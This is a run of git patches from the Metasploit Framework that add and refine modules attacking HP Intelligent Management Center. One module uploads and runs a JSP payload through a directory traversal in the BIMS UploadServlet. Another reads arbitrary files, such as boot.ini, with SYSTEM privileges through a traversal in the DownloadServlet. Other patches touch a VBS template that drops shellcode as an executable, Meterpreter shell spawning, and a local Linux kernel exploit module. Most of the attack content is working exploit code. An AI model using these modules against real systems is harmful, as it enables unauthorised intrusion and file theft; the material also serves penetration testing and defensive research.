from lib/rex/exploitation/javascriptcrypto.rb rename to lib/rex/exploitation/javascriptutils.rb index 6b4dffacc7..b9e471f2ef 100644 --- a/lib/rex/exploitation/javascriptcrypto.rb +++ b/lib/rex/exploitation/javascriptutils.rb @@ -8,12 +8,12 @@ module Rex module Exploitation # -# Provides cryptographic functions in JavaScript +# Javascript utilities # -class JavascriptCrypto +class JavascriptUtils def self.base64 - js = ::File.read(::File.join(Msf::Config.install_root, "data", "js", "crypto", "base64.js")) + js = ::File.read(::File.join(Msf::Config.install_root, "data", "js", "utils", "base64.js")) opts = { 'Symbols' => { diff --git a/spec/lib/rex/exploitation/javascriptcrypto_spec.rb b/spec/lib/rex/exploitation/javascriptutils_spec.rb similarity index 59% rename from spec/lib/rex/exploitation/javascriptcrypto_spec.rb rename to spec/lib/rex/exploitation/javascriptutils_spec.rb index 8f8300257d..00165c9ad0 100644 --- a/spec/lib/rex/exploitation/javascriptcrypto_spec.rb +++ b/spec/lib/rex/exploitation/javascriptutils_spec.rb @@ -1,6 +1,6 @@ -require 'rex/exploitation/javascriptcrypto' +require 'rex/exploitation/javascriptutils' -describe Rex::Exploitation::JavascriptCrypto do +describe Rex::Exploitation::JavascriptUtils do subject(:ropdb) do described_class.new @@ -10,7 +10,7 @@ describe Rex::Exploitation::JavascriptCrypto do context ".base64" do it "should load the base64 javascript" do - js = Rex::Exploitation::JavascriptCrypto.base64 + js = Rex::Exploitation::JavascriptUtils.base64 js.should =~ /encode : function/ end end From cf239c2234bb51f2a851ccb2b29048c7d589c310 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sat, 19 Oct 2013 00:05:09 -0500 Subject: [PATCH 257/409] Add module for ZDI-13-238 --- .../windows/http/hp_imc_bims_upload.rb | 98 +++++++++++++++++++ 1 file changed, 98 insertions(+) create mode 100644 modules/exploits/windows/http/hp_imc_bims_upload.rb diff --git a/modules/exploits/windows/http/hp_imc_bims_upload.rb b/modules/exploits/windows/http/hp_imc_bims_upload.rb new file mode 100644 index 0000000000..dd30617ebb --- /dev/null +++ b/modules/exploits/windows/http/hp_imc_bims_upload.rb @@ -0,0 +1,98 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] } + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'HP Intelligent Management Center BIMS UploadServlet Directory Traversal', + 'Description' => %q{ + This module exploits a directory traversal vulnerability on the version 5.1 of the BIMS + component from the HP Intelligent Management Center. The vulnerability exists in the + UploadServlet, allowing the user to download and upload arbitrary files. This module has + been tested successfully on HP Intelligent Management Center with BIMS 5.1 E0202 on Windows + 2003 SP2. + }, + 'Author' => + [ + 'rgod ', # Vulnerability Discovery + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2013-4822' ], + [ 'OSVDB', '98247' ], + [ 'BID', '' ], + [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-238/' ], + [ 'URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03943425' ] + ], + 'Privileged' => true, + 'Platform' => 'win', + 'Arch' => ARCH_JAVA, + 'Targets' => + [ + [ 'HP Intelligent Management Center 5.1 E0202 / BIMS 5.1 E0202 / Windows', { } ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Oct 08 2013')) + + register_options( + [ + Opt::RPORT(8080) + ], self.class) + end + + def check + res = send_request_cgi({ + 'uri' => normalize_uri("/", "upload", "upload"), + 'method' => 'GET', + 'vars_get' => { 'fileName' => "WEB-INF/web.xml" }, + }) + + if res and res.code == 200 and res.headers['Content-Type'] =~ /application\/doc/ and res.body =~ /com\.h3c\.imc\.bims\.acs\.server\.UploadServlet/ + return Exploit::CheckCode::Vulnerable + end + + return Exploit::CheckCode::Safe + end + + def exploit + # New lines are handled on the vuln app and payload is corrupted + #jsp = payload.encoded.gsub(/\x0d\x0a/, "").gsub(/\x0a/, "") + jsp_name = "#{rand_text_alphanumeric(4+rand(32-4))}.jsp" + + print_status("#{peer} - Uploading the JSP payload...") + res = send_request_cgi({ + 'uri' => normalize_uri("/", "upload", "upload"), + 'method' => 'PUT', + 'vars_get' => { 'fileName' => jsp_name }, + 'data' => payload.encoded + }) + + if res and res.code == 200 and res.body.empty? + print_status("#{peer} - JSP payload uploaded successfully") + register_files_for_cleanup("..\\web\\apps\\upload\\#{jsp_name}") + else + fail_with(Failure::Unknown, "#{peer} - JSP payload upload failed") + end + + print_status("#{peer} - Executing payload...") + send_request_cgi({ + 'uri' => normalize_uri("/", "upload", jsp_name), + 'method' => 'GET' + }, 1) + + end + +end From aa6a24da1b02365ac4cc37ce9ec4491c79da3e22 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sat, 19 Oct 2013 00:27:57 -0500 Subject: [PATCH 258/409] Add module template --- .../hp_imc_bims_downloadservlet_traversal.rb | 102 ++++++++++++++++++ 1 file changed, 102 insertions(+) create mode 100644 modules/auxiliary/scanner/http/hp_imc_bims_downloadservlet_traversal.rb diff --git a/modules/auxiliary/scanner/http/hp_imc_bims_downloadservlet_traversal.rb b/modules/auxiliary/scanner/http/hp_imc_bims_downloadservlet_traversal.rb new file mode 100644 index 0000000000..a88fd62d86 --- /dev/null +++ b/modules/auxiliary/scanner/http/hp_imc_bims_downloadservlet_traversal.rb @@ -0,0 +1,102 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'HP Intelligent Management BIMS DownloadServlet Directory Traversal', + 'Description' => %q{ + This module exploits a lack of authentication and a directory traversal in HP + Intelligent Management, specifically in the DownloadServlet from the BIMS component, + in order to retrieve arbitrary files with SYSTEM privileges. This module has been + tested successfully on HP Intelligent Management Center 5.1 E0202 over Windows 2003 SP2. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'rgod ', # Vulnerability Discovery + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + [ 'CVE', '2013-4823' ], + [ 'OSVDB', '98248' ], + [ 'BID', '62897' ], + [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-239/' ] + ] + )) + + register_options( + [ + Opt::RPORT(8080), + OptString.new('TARGETURI', [true, 'Path to HP Intelligent Management Center', '/imc']), + OptString.new('FILEPATH', [true, 'The name of the file to download', '/boot.ini']), + # By default files downloaded from C:\Program Files\iMC\client\web\apps\imc\tmp\ + OptInt.new('DEPTH', [true, 'Traversal depth', 7]) + ], self.class) + end + + def is_imc? + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path.to_s, "", ""), + 'method' => 'GET' + }) + + if res and res.code == 200 and res.body =~ /HP Intelligent Management Center/ + return true + else + return false + end + end + + def my_basename(filename) + return ::File.basename(filename.gsub(/\\/, "/")) + end + + def run_host(ip) + + if not is_imc? + vprint_error("#{rhost}:#{rport} - This isn't a HP Intelligent Management Center") + return + end + + travs = "" + travs << "../" * datastore['DEPTH'] + travs << datastore['FILEPATH'] + + vprint_status("#{rhost}:#{rport} - Sending request...") + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path.to_s, "bimsDownload"), + 'method' => 'GET', + 'vars_get' => + { + 'fileName' => travs + } + }) + + if res and res.code == 200 and res.headers['Content-Type'] and res.headers['Content-Type'] == "application/doc" + contents = res.body + fname = my_basename(datastore['FILEPATH']) + path = store_loot( + 'hp.imc.faultdownloadservlet', + 'application/octet-stream', + ip, + contents, + fname + ) + print_good("#{rhost}:#{rport} - File saved in: #{path}") + else + vprint_error("#{rhost}:#{rport} - Failed to retrieve file") + return + end + end +end From 7d8a0fc06c12e7da9684a5e9bb3f7cec8531a4e6 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sat, 19 Oct 2013 00:29:43 -0500 Subject: [PATCH 259/409] Add BID reference --- modules/exploits/windows/http/hp_imc_bims_upload.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/http/hp_imc_bims_upload.rb b/modules/exploits/windows/http/hp_imc_bims_upload.rb index dd30617ebb..e19aa3e4c2 100644 --- a/modules/exploits/windows/http/hp_imc_bims_upload.rb +++ b/modules/exploits/windows/http/hp_imc_bims_upload.rb @@ -33,7 +33,7 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'CVE', '2013-4822' ], [ 'OSVDB', '98247' ], - [ 'BID', '' ], + [ 'BID', '62895' ], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-238/' ], [ 'URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03943425' ] ], From b0d32a308aedc798409eb84510efab09efce8a3c Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sat, 19 Oct 2013 00:52:22 -0500 Subject: [PATCH 260/409] Update version information --- modules/exploits/windows/http/hp_imc_bims_upload.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/windows/http/hp_imc_bims_upload.rb b/modules/exploits/windows/http/hp_imc_bims_upload.rb index e19aa3e4c2..31e2127c84 100644 --- a/modules/exploits/windows/http/hp_imc_bims_upload.rb +++ b/modules/exploits/windows/http/hp_imc_bims_upload.rb @@ -17,10 +17,10 @@ class Metasploit3 < Msf::Exploit::Remote super(update_info(info, 'Name' => 'HP Intelligent Management Center BIMS UploadServlet Directory Traversal', 'Description' => %q{ - This module exploits a directory traversal vulnerability on the version 5.1 of the BIMS + This module exploits a directory traversal vulnerability on the version 5.2 of the BIMS component from the HP Intelligent Management Center. The vulnerability exists in the UploadServlet, allowing the user to download and upload arbitrary files. This module has - been tested successfully on HP Intelligent Management Center with BIMS 5.1 E0202 on Windows + been tested successfully on HP Intelligent Management Center with BIMS 5.2 E0401 on Windows 2003 SP2. }, 'Author' => @@ -42,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Arch' => ARCH_JAVA, 'Targets' => [ - [ 'HP Intelligent Management Center 5.1 E0202 / BIMS 5.1 E0202 / Windows', { } ] + [ 'HP Intelligent Management Center 5.2 E0401 / BIMS 5.2 E0401 / Windows', { } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Oct 08 2013')) From 2d24824e78b7ee5273ad68be75faa744deccfeee Mon Sep 17 00:00:00 2001 From: sinn3r Date: Sat, 19 Oct 2013 17:55:03 -0500 Subject: [PATCH 261/409] Use data_directory instead of install_root --- lib/rex/exploitation/javascriptaddonsdetect.rb | 2 +- lib/rex/exploitation/javascriptexploitation.rb | 6 +++--- lib/rex/exploitation/javascriptnetwork.rb | 2 +- lib/rex/exploitation/javascriptosdetect.rb | 2 +- lib/rex/exploitation/javascriptutils.rb | 2 +- 5 files changed, 7 insertions(+), 7 deletions(-) diff --git a/lib/rex/exploitation/javascriptaddonsdetect.rb b/lib/rex/exploitation/javascriptaddonsdetect.rb index b53639d1b8..9ee8e0f1bc 100644 --- a/lib/rex/exploitation/javascriptaddonsdetect.rb +++ b/lib/rex/exploitation/javascriptaddonsdetect.rb @@ -16,7 +16,7 @@ class JavascriptAddonsDetect < JSObfu def initialize(custom_js = '', opts = {}) @js = custom_js - @js += ::File.read(::File.join(Msf::Config.install_root, "data", "js", "detect", "addons.js")) + @js += ::File.read(::File.join(Msf::Config.data_directory, "js", "detect", "addons.js")) super @js diff --git a/lib/rex/exploitation/javascriptexploitation.rb b/lib/rex/exploitation/javascriptexploitation.rb index 473a73a8d6..2328edba3b 100644 --- a/lib/rex/exploitation/javascriptexploitation.rb +++ b/lib/rex/exploitation/javascriptexploitation.rb @@ -11,7 +11,7 @@ module Exploitation class JavascriptExploitation def self.mstime_malloc - js = ::File.read(::File.join(Msf::Config.install_root, "data", "js", "exploitation", "mstime_malloc.js")) + js = ::File.read(::File.join(Msf::Config.data_directory, "js", "exploitation", "mstime_malloc.js")) js = js.gsub(/W00TA/, Rex::Text.rand_text_hex(6)) js = js.gsub(/W00TB/, Rex::Text.rand_text_hex(5)) @@ -24,7 +24,7 @@ class JavascriptExploitation end def self.property_spray - js = ::File.read(::File.join(Msf::Config.install_root, "data", "js", "exploitation", "property_spray.js")) + js = ::File.read(::File.join(Msf::Config.data_directory, "js", "exploitation", "property_spray.js")) ::Rex::Exploitation::ObfuscateJS.new(js, { @@ -35,7 +35,7 @@ class JavascriptExploitation end def self.heap_spray - js = ::File.read(::File.join(Msf::Config.install_root, "data", "js", "exploitation", "heap_spray.js")) + js = ::File.read(::File.join(Msf::Config.data_directory, "js", "exploitation", "heap_spray.js")) ::Rex::Exploitation::ObfuscateJS.new(js, { diff --git a/lib/rex/exploitation/javascriptnetwork.rb b/lib/rex/exploitation/javascriptnetwork.rb index 4b9696a449..23c71dd9a1 100644 --- a/lib/rex/exploitation/javascriptnetwork.rb +++ b/lib/rex/exploitation/javascriptnetwork.rb @@ -11,7 +11,7 @@ module Exploitation class JavascriptNetwork def self.ajax_download - js = ::File.read(::File.join(Msf::Config.install_root, "data", "js", "network", "ajax_download.js")) + js = ::File.read(::File.join(Msf::Config.data_directory, "js", "network", "ajax_download.js")) ::Rex::Exploitation::ObfuscateJS.new(js, { diff --git a/lib/rex/exploitation/javascriptosdetect.rb b/lib/rex/exploitation/javascriptosdetect.rb index 042b88323d..2536413911 100644 --- a/lib/rex/exploitation/javascriptosdetect.rb +++ b/lib/rex/exploitation/javascriptosdetect.rb @@ -30,7 +30,7 @@ class JavascriptOSDetect < JSObfu def initialize(custom_js = '', opts = {}) @js = custom_js - @js += ::File.read(::File.join(Msf::Config.install_root, "data", "js", "detect", "os.js")) + @js += ::File.read(::File.join(Msf::Config.data_directory, "js", "detect", "os.js")) super @js diff --git a/lib/rex/exploitation/javascriptutils.rb b/lib/rex/exploitation/javascriptutils.rb index b9e471f2ef..df77cb9d0e 100644 --- a/lib/rex/exploitation/javascriptutils.rb +++ b/lib/rex/exploitation/javascriptutils.rb @@ -13,7 +13,7 @@ module Exploitation class JavascriptUtils def self.base64 - js = ::File.read(::File.join(Msf::Config.install_root, "data", "js", "utils", "base64.js")) + js = ::File.read(::File.join(Msf::Config.data_directory, "js", "utils", "base64.js")) opts = { 'Symbols' => { From 27078eb5a6f0ea153dba1a008369be5a0ef804d5 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sun, 20 Oct 2013 18:18:34 -0500 Subject: [PATCH 262/409] Add support for HP imc /BIMS 5.1 --- modules/exploits/windows/http/hp_imc_bims_upload.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/modules/exploits/windows/http/hp_imc_bims_upload.rb b/modules/exploits/windows/http/hp_imc_bims_upload.rb index 31e2127c84..ad152f1ff5 100644 --- a/modules/exploits/windows/http/hp_imc_bims_upload.rb +++ b/modules/exploits/windows/http/hp_imc_bims_upload.rb @@ -42,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Arch' => ARCH_JAVA, 'Targets' => [ - [ 'HP Intelligent Management Center 5.2 E0401 / BIMS 5.2 E0401 / Windows', { } ] + [ 'HP Intelligent Management Center 5.1 E0202 - 5.2 E0401 / BIMS 5.1 E0201 - 5.2 E0401 / Windows', { } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Oct 08 2013')) @@ -62,6 +62,8 @@ class Metasploit3 < Msf::Exploit::Remote if res and res.code == 200 and res.headers['Content-Type'] =~ /application\/doc/ and res.body =~ /com\.h3c\.imc\.bims\.acs\.server\.UploadServlet/ return Exploit::CheckCode::Vulnerable + elsif res and res.code == 405 and res.message =~ /Method Not Allowed/ + return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe From 183116c81f99d85aabeb532070ceac55c9dc5e3f Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sun, 20 Oct 2013 18:39:41 -0500 Subject: [PATCH 263/409] Make module work, and final cleanup --- .../hp_imc_bims_downloadservlet_traversal.rb | 16 +++++++++------- 1 file changed, 9 insertions(+), 7 deletions(-) diff --git a/modules/auxiliary/scanner/http/hp_imc_bims_downloadservlet_traversal.rb b/modules/auxiliary/scanner/http/hp_imc_bims_downloadservlet_traversal.rb index a88fd62d86..c6e82585b2 100644 --- a/modules/auxiliary/scanner/http/hp_imc_bims_downloadservlet_traversal.rb +++ b/modules/auxiliary/scanner/http/hp_imc_bims_downloadservlet_traversal.rb @@ -18,7 +18,8 @@ class Metasploit3 < Msf::Auxiliary This module exploits a lack of authentication and a directory traversal in HP Intelligent Management, specifically in the DownloadServlet from the BIMS component, in order to retrieve arbitrary files with SYSTEM privileges. This module has been - tested successfully on HP Intelligent Management Center 5.1 E0202 over Windows 2003 SP2. + tested successfully on HP Intelligent Management Center 5.1 E0202 with BIMS 5.1 E0201 + over Windows 2003 SP2. }, 'License' => MSF_LICENSE, 'Author' => @@ -40,15 +41,15 @@ class Metasploit3 < Msf::Auxiliary Opt::RPORT(8080), OptString.new('TARGETURI', [true, 'Path to HP Intelligent Management Center', '/imc']), OptString.new('FILEPATH', [true, 'The name of the file to download', '/boot.ini']), - # By default files downloaded from C:\Program Files\iMC\client\web\apps\imc\tmp\ - OptInt.new('DEPTH', [true, 'Traversal depth', 7]) + # By default files downloaded from C:\Program Files\iMC\client\web\apps\imc\ + OptInt.new('DEPTH', [true, 'Traversal depth', 6]) ], self.class) end def is_imc? res = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path.to_s, "", ""), - 'method' => 'GET' + 'uri' => normalize_uri(target_uri.path.to_s, "login.jsf"), + 'method' => 'GET' }) if res and res.code == 200 and res.body =~ /HP Intelligent Management Center/ @@ -79,7 +80,8 @@ class Metasploit3 < Msf::Auxiliary 'method' => 'GET', 'vars_get' => { - 'fileName' => travs + 'fileName' => travs, + 'path' => "/" } }) @@ -87,7 +89,7 @@ class Metasploit3 < Msf::Auxiliary contents = res.body fname = my_basename(datastore['FILEPATH']) path = store_loot( - 'hp.imc.faultdownloadservlet', + 'hp.imc.bimsdownloadservlet', 'application/octet-stream', ip, contents, From cf65f59a28b43c85d9b5879bf1d0e6f5a6edf52b Mon Sep 17 00:00:00 2001 From: OJ Date: Mon, 21 Oct 2013 15:29:19 +1000 Subject: [PATCH 264/409] Retry shell without thread impersonation In certain scenarios on Windows XP there are times when creating a shell fails with the error `ERROR_PRIVILEGE_NOT_HELD`. When this happens the user will usuall fallback to a non-impersonated shell via the command: `execute -f cmd.exe -H -i -c` This patch catches the error, warns the use of the failure and then retries to create the interactive shell without the `-t` flag. --- .../ui/console/command_dispatcher/stdapi/sys.rb | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb index 68d151a5eb..ca95bbf438 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb @@ -236,7 +236,15 @@ class Console::CommandDispatcher::Stdapi::Sys when /win/ path = client.fs.file.expand_path("%COMSPEC%") path = (path and not path.empty?) ? path : "cmd.exe" - cmd_execute("-f", path, "-c", "-H", "-i", "-t") + + # attempt the shell with thread impersonation + begin + cmd_execute("-f", path, "-c", "-H", "-i", "-t") + rescue + # if this fails, then we attempt without impersonation + print_error( "Failed to spawn shell with thread impersonation. Retrying without it." ) + cmd_execute("-f", path, "-c", "-H", "-i") + end when /linux/ # Don't expand_path() this because it's literal anyway path = "/bin/sh" From 1717a98ba3d7f68e11f0c6f15b207118b835e179 Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Mon, 21 Oct 2013 13:49:09 +0100 Subject: [PATCH 265/409] Update to_exe.vbs.template Rename values --- data/templates/scripts/to_exe.vbs.template | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/data/templates/scripts/to_exe.vbs.template b/data/templates/scripts/to_exe.vbs.template index 6aa043b20f..a6ee5f30bb 100644 --- a/data/templates/scripts/to_exe.vbs.template +++ b/data/templates/scripts/to_exe.vbs.template @@ -1,5 +1,5 @@ Function %{var_func}() - %{var_shellcode} = "%{var_hex_shellcode}" + %{var_shellcode} = "%{hex_shellcode}" Dim %{var_obj} Set %{var_obj} = CreateObject("Scripting.FileSystemObject") @@ -10,7 +10,7 @@ Function %{var_func}() Set %{var_tempdir} = %{var_obj}.GetSpecialFolder(2) %{var_basedir} = %{var_tempdir} & "\" & %{var_obj}.GetTempName() %{var_obj}.CreateFolder(%{var_basedir}) - %{var_tempexe} = %{var_basedir} & "\" & "%{var_exe}" + %{var_tempexe} = %{var_basedir} & "\" & "%{exe_filename}" Set %{var_stream} = %{var_obj}.CreateTextFile(%{var_tempexe}, true , false) For i = 1 to Len(%{var_shellcode}) Step 2 %{var_stream}.Write Chr(CLng("&H" & Mid(%{var_shellcode},i,2))) From 58a82f051886974c3f2de645319be514d9c346f6 Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Mon, 21 Oct 2013 13:50:07 +0100 Subject: [PATCH 266/409] Update exe.rb Rename values --- lib/msf/util/exe.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index b025a64b63..83d6e7aa6b 100755 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -825,7 +825,7 @@ def self.to_vba(framework,code,opts={}) hash_sub = {} hash_sub[:var_shellcode] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_exe] = Rex::Text.rand_text_alpha(rand(8)+8) << '.exe' + hash_sub[:exe_filename] = Rex::Text.rand_text_alpha(rand(8)+8) << '.exe' hash_sub[:var_fname] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:var_func] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:var_stream] = Rex::Text.rand_text_alpha(rand(8)+8) @@ -835,7 +835,7 @@ def self.to_vba(framework,code,opts={}) hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_hex_shellcode] = exes.unpack('H*').join('') + hash_sub[:hex_shellcode] = exes.unpack('H*').join('') hash_sub[:init] = "" From 09c9cba3d5cc7b07d7a8cf1055f5e1e099f350c6 Mon Sep 17 00:00:00 2001 From: Karn Ganeshen Date: Mon, 21 Oct 2013 19:29:05 +0530 Subject: [PATCH 267/409] Updated code --- modules/auxiliary/scanner/http/radware_appdirector_enum.rb | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/modules/auxiliary/scanner/http/radware_appdirector_enum.rb b/modules/auxiliary/scanner/http/radware_appdirector_enum.rb index c31993b8fb..d0a06e6311 100644 --- a/modules/auxiliary/scanner/http/radware_appdirector_enum.rb +++ b/modules/auxiliary/scanner/http/radware_appdirector_enum.rb @@ -5,7 +5,6 @@ # http://metasploit.com/ ## -require 'rex/proto/http' require 'msf/core' class Metasploit3 < Msf::Auxiliary @@ -66,7 +65,7 @@ class Metasploit3 < Msf::Auxiliary 'method' => 'GET' }) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError - print_error("#{rhost}:#{rport} - HTTP Connection Failed, Aborting") + vprint_error("#{rhost}:#{rport} - HTTP Connection Failed, Aborting") return false end @@ -74,7 +73,7 @@ class Metasploit3 < Msf::Auxiliary vprint_good("#{rhost}:#{rport} - Running Radware portal...") return true else - print_error("#{rhost}:#{rport} - Application is not Radware. Module will not continue.") + vprint_error("#{rhost}:#{rport} - Application is not Radware. Module will not continue.") return false end end @@ -94,7 +93,7 @@ class Metasploit3 < Msf::Auxiliary }) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE - print_error("#{rhost}:#{rport} - HTTP Connection Failed, Aborting") + vprint_error("#{rhost}:#{rport} - HTTP Connection Failed, Aborting") return :abort end From d22e4ac2f167cf9bafa58d031cb66c4053146ca8 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Mon, 21 Oct 2013 11:13:48 -0500 Subject: [PATCH 268/409] Check timeout condition --- modules/exploits/windows/http/hp_imc_bims_upload.rb | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/http/hp_imc_bims_upload.rb b/modules/exploits/windows/http/hp_imc_bims_upload.rb index ad152f1ff5..d95b5696c6 100644 --- a/modules/exploits/windows/http/hp_imc_bims_upload.rb +++ b/modules/exploits/windows/http/hp_imc_bims_upload.rb @@ -60,9 +60,14 @@ class Metasploit3 < Msf::Exploit::Remote 'vars_get' => { 'fileName' => "WEB-INF/web.xml" }, }) - if res and res.code == 200 and res.headers['Content-Type'] =~ /application\/doc/ and res.body =~ /com\.h3c\.imc\.bims\.acs\.server\.UploadServlet/ + if res.nil? + print_error("Unable to determine, because the request timed out.") + return Exploit::CheckCode::Unknown + end + + if res.code == 200 and res.headers['Content-Type'] =~ /application\/doc/ and res.body =~ /com\.h3c\.imc\.bims\.acs\.server\.UploadServlet/ return Exploit::CheckCode::Vulnerable - elsif res and res.code == 405 and res.message =~ /Method Not Allowed/ + elsif res.code == 405 and res.message =~ /Method Not Allowed/ return Exploit::CheckCode::Appears end From 45d06dd28d2cbd3525d66c1b6362039a633b9a94 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Mon, 21 Oct 2013 11:24:30 -0500 Subject: [PATCH 269/409] Change plate --- modules/exploits/windows/scada/igss_exec_17.rb | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/modules/exploits/windows/scada/igss_exec_17.rb b/modules/exploits/windows/scada/igss_exec_17.rb index 7a107aad90..df75ffd2f4 100644 --- a/modules/exploits/windows/scada/igss_exec_17.rb +++ b/modules/exploits/windows/scada/igss_exec_17.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' From 9bfd98b0019ab219f28986ac6ea0cfca8a4956bf Mon Sep 17 00:00:00 2001 From: sinn3r Date: Mon, 21 Oct 2013 11:54:42 -0500 Subject: [PATCH 270/409] Change plate --- modules/exploits/linux/http/dlink_dir605l_captcha_bof.rb | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/modules/exploits/linux/http/dlink_dir605l_captcha_bof.rb b/modules/exploits/linux/http/dlink_dir605l_captcha_bof.rb index 2ae04ed31c..c27e52eee7 100644 --- a/modules/exploits/linux/http/dlink_dir605l_captcha_bof.rb +++ b/modules/exploits/linux/http/dlink_dir605l_captcha_bof.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' From e7d3206dc9d153fe7867fb6c7764620273f9faf3 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Mon, 21 Oct 2013 12:47:05 -0500 Subject: [PATCH 271/409] Revert "Land #2505" to resolve new rspec fails This reverts commit 717dfefead2da17245d1d9d1a44a0738e55347cf, reversing changes made to 6430fa335464a334a76e4681579658279a407e3f. --- lib/msf/core/exploit/local/unix.rb | 19 ++ modules/exploits/linux/local/sock_sendpage.rb | 290 +++++++----------- 2 files changed, 124 insertions(+), 185 deletions(-) create mode 100644 lib/msf/core/exploit/local/unix.rb diff --git a/lib/msf/core/exploit/local/unix.rb b/lib/msf/core/exploit/local/unix.rb new file mode 100644 index 0000000000..5a35ebbe63 --- /dev/null +++ b/lib/msf/core/exploit/local/unix.rb @@ -0,0 +1,19 @@ + +module Msf +module Exploit::Local::Unix + + include Exploit::Local::CompileC + + def unix_socket_h(metasm_exe) + [ + "external/source/meterpreter/source/bionic/libc/include/sys/socket.h", + ].each do |fname| + cparser.parse(File.read(fname), fname) + end + + end + + +end +end + diff --git a/modules/exploits/linux/local/sock_sendpage.rb b/modules/exploits/linux/local/sock_sendpage.rb index 231612a9b1..849aa1b7e3 100644 --- a/modules/exploits/linux/local/sock_sendpage.rb +++ b/modules/exploits/linux/local/sock_sendpage.rb @@ -7,6 +7,7 @@ require 'msf/core' require 'rex' require 'msf/core/exploit/local/linux_kernel' require 'msf/core/exploit/local/linux' +require 'msf/core/exploit/local/unix' require 'msf/core/exploit/exe' #load 'lib/msf/core/post/file.rb' @@ -22,6 +23,7 @@ class Metasploit4 < Msf::Exploit::Local include Msf::Exploit::Local::LinuxKernel include Msf::Exploit::Local::Linux + include Msf::Exploit::Local::Unix def initialize(info={}) super( update_info( info, { @@ -67,166 +69,92 @@ class Metasploit4 < Msf::Exploit::Local 'DisclosureDate' => "Aug 13 2009", } )) - register_options([ - OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ]), - ]) - register_options([ - OptBool.new("DEBUG", [ true, "Make the exploit executable be verbose about what it's doing", false ]), - ]) - end - - def executable_path - @executable_path ||= datastore["WritableDir"] + 